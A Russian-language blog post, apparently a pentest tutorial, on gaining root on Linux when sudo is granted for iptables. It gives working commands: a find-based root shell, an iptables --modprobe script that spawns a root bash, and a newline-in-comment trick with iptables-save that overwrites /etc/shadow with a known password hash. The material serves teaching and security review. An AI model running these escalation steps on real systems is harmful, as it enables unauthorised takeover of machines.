Полагаю, что большинство читателей знают, о том, что команда sudo может быть использована для выполнения других команд с правами другого пользователя, которым обычно является root.

Также полагаю, что многие знают о существовании ресурса https://gtfobins.github.io/ на котором можно узнать о небезопасном использовании некоторых команд Linux.

Например, мы можем получить шелл root просто выполнив команду:

sudo find . -exec /bin/sh \; -quit

То есть, нам достаточно иметь sudo на выполнение отдельной команды find, для того, чтобы захватить всю систему.

Однако, не все небезопасные команды есть в вписке этого ресурса и сегодня мы поговорим о том, как получить права root с помощью iptables.

Iptables — это утилита пользовательского пространства в Linux, используемая для настройки правил фильтрации пакетов в брандмауэре ядра Linux, называемом netfilter. По сути, это инструмент командной строки, позволяющий администраторам управлять обработкой сетевого трафика системой.

У iptables есть параметр ‑modprobe, предназначенный для загрузки всех необходимых модулей при добавлении правил в цепочку.

--modprobe=команда

Изучив исходный код iptables, мы видим, что если был указан флаг ‑modprobe, то вызывается функция int xtables_load_ko(const char *modprobe, bool quiet), первым параметром которой является команда modprobe, указанная пользователем.

В качестве первого шага функция xtables_load_ko проверяет, были ли уже загружены необходимые модули, а если нет, то вызывает функцию int xtables_insmod(const char modname, const char modprobe, bool quiet), вторым параметром которой является указанная пользователем команда modprobe.

Наконец, функция xtables_insmod запускает команду, указанную в аргументе ‑modprobe, с помощью системного вызова execv:

int xtables_insmod(const char modname, const char modprobe, bool quiet)
{
               char *buf = NULL;
               char *argv[4];
               int status;
               /* If they don't explicitly set it, read out of kernel */
               if (!modprobe) {
                              buf = get_modprobe();
                              if (!buf)
                                            return -1;
                              modprobe = buf;
               }
               /*
                * Need to flush the buffer, or the child may output it again
                * when switching the program thru execv.
                */
               fflush(stdout);
               switch (vfork()) {
               case 0:
                              argv[0] = (char *)modprobe;
                              argv[1] = (char *)modname;
                              if (quiet) {
                                            argv[2] = "-q";
                                            argv[3] = NULL;
                              } else {
                                            argv[2] = NULL;
                                            argv[3] = NULL;
                              }
                              execv(argv[0], argv);
                              /* not usually reached */
                              exit(1);
               case -1:
                              free(buf);
                              return -1;
               default: /* parent */
                              wait(&status);
               }

               free(buf);
               if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
                              return 0;
               return -1;
}

В итоге, если мы можем запустить iptables от имени root (то есть, помощью sudo), мы можем использовать его для выполнения произвольных системных команд.

Например, в следующем сценарии мы получим интерактивную оболочку root:

#!/bin/bash
echo -e "/bin/bash -i" > run-me
chmod +x run-me
sudo iptables -L -t nat --modprobe=./run-me

В этом примере мы создаем файл модуля run‑me, делаем его выполнимым и затем подгружаем в iptables. В результате мы получаем командную строку с правами root.

Хотя эта техника довольно мощная, у нее есть важное требование: модули ядра, к которым пытается обратиться iptables, не должны быть загружены.

И здесь возникает главная проблема: в большинстве современных дистрибутивов Linux модули уже загружены, что делает атаку практически невыполнимой. Тем не менее, в случае встраиваемых устройств iptables все еще эффективен.

Однако, опускать руки рано. Проведем несколько экспериментов с iptables в Ubuntu 24.04 LTS.

Установим iptables и в файл /etc/sudoers добавим следующее:

user ALL=(ALL) NOPASSWD: /usr/bin/iptables

user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save

Закомментируем общее разрешение для всех:

%sudo ALL=(ALL:ALL) ALL

Посмотрим ответ sudo ‑l

Таким образом, команды sudo iptables или sudo iptables‑save выполняются без запроса аутентификации.

Теперь вернемся к нашей основной задаче — получению прав root.

Рассмотрим простую команду iptables для добавления правила брандмауэра:

sudo iptables -A INPUT -i lo -j ACCEPT

Результат работы этой команды заключается в добавлении правила к входной цепочке для приема всех входящих пакетов, где входной интерфейс является локальным. Мы можем немедленно проверить действие этого правила, выполнив команду sudo iptables ‑L. Выход этой команды, как и ожидалось, содержит правило ACCEPT, которое мы только что загрузили.

Казалось бы все просто и правильно. Но, среди флагов поддерживаемых iptables есть флаг comment, который позволяет добавлять комментарии (до 256 символов) к любому правилу. ‑Например: iptables ‑A INPUT ‑s 192.168.0.0/16 ‑m comment ‑comment «Private IP block».

Давайте проверим это, слегка изменив наше предыдущее правило:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"

Затем, снова перечислив правила, мы можем увидеть эффект от комментария:

iptables также предоставляет возможность сделать дамп всех загруженных правил, выполнив iptables ‑S:

Мы можем добавить новую строку

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

Снова сделаем дамп:

Это определенно интересно — мы выяснили, что iptables сохраняет новые строки в комментариях, а это значит, что мы можем управлять несколькими произвольными строками в выводе дампа правил iptables.

Прежде чем приступать к выполнению команд, давайте разберемся с командами iptables‑save и ip6tables‑save, которые используются для вывода содержимого IP‑ или IPv6-таблицы в легко разбираемом формате либо в STDOUT, либо в указанный файл.

Похоже, что iptables‑save тоже сохраняет введенную новую строку. Теперь, когда мы это знаем, мы можем проверить его работоспособность, указав имя файла и поставив ключ ‑f:

Теперь мы можем перейти к основной части нашего эксплоита — получению прав root. Используя произвольные комментарии, содержащие \n, через iptables и запустив iptables‑save, мы можем писать произвольные файлы от имени root и частично контролировать его строки — частично, да, потому что iptables‑save выводит некоторые данные, которые нельзя контролировать, до и после нашего введенного комментария.

Давайте попробуем записать вполне корректную запись passwd root в правило iptables и перезаписать файл /etc/shadow через iptables‑save. Поскольку инжектированная строка будет также содержать хэш пароля пользователя, после перезаписи мы сможем просто запустить su root и ввести инжектированный пароль.

Для воспроизведения атаки выполним следующие шаги:

Зашифруем новый пароль root в нужном формате, выполнив openssl passwd <password>

Возьмем запись для root в файле /etc/shadow и скопируем ее куда‑нибудь, заменив значение x в зашифрованном пароле значением, полученным на предыдущем шаге

Внесем поддельную запись root в новый комментарий правила iptables.

Выполним команду

sudo iptables-save -f /etc/shadow

В результате мы изменили содержимое /etc/shadow, указав хеш известного нам пароля root. Теперь мы можем просто переключиться на привилегированного пользователя и получить долгожданный шелл root.

Заключение

Мы рассмотрели некоторые манипуляции, которые можно проделать с iptables для получения прав привилегированного пользователя. Конечно, у нас есть некоторые существенные ограничения, прежде всего это необходимость наличия прав sudo для iptables. Администраторы далеко не всегда дают такие права обычным пользователям. Однако, при наличии нужных прав реализовать данную атаку вполне возможно.

Таким образом, использование iptables это еще один вектор атаки для пентестеров и еще один пункт проверки защищенности системы для безопасников.


Если вам близка тема практической безопасности, обратите внимание на серию открытых уроков курса «Пентест. Инструменты и методы проникновения в действии».

Также вы можете пройти бесплатное тестирование по курсу пентестинга — узнаете, подойдет ли лично вам программа курса.

Чтобы оставаться в курсе самых актуальных технологий и трендов, подписывайтесь на Telegram-канал OTUS.

Комментарии (2)


  1. Spider55
    17.07.2025 18:52

    А как все же правильно? Выполнимым или выполняемым в контексте прав файла?

    По мне так выполнимая может быть задача или невыполнимая, а файл все же выполняемый.


  1. Yami-no-Ryuu
    17.07.2025 18:52

    Ну как бы by design. Нечего юзеру напрямую iptables дергать. RSBAC в помощь, если нужны под-админы.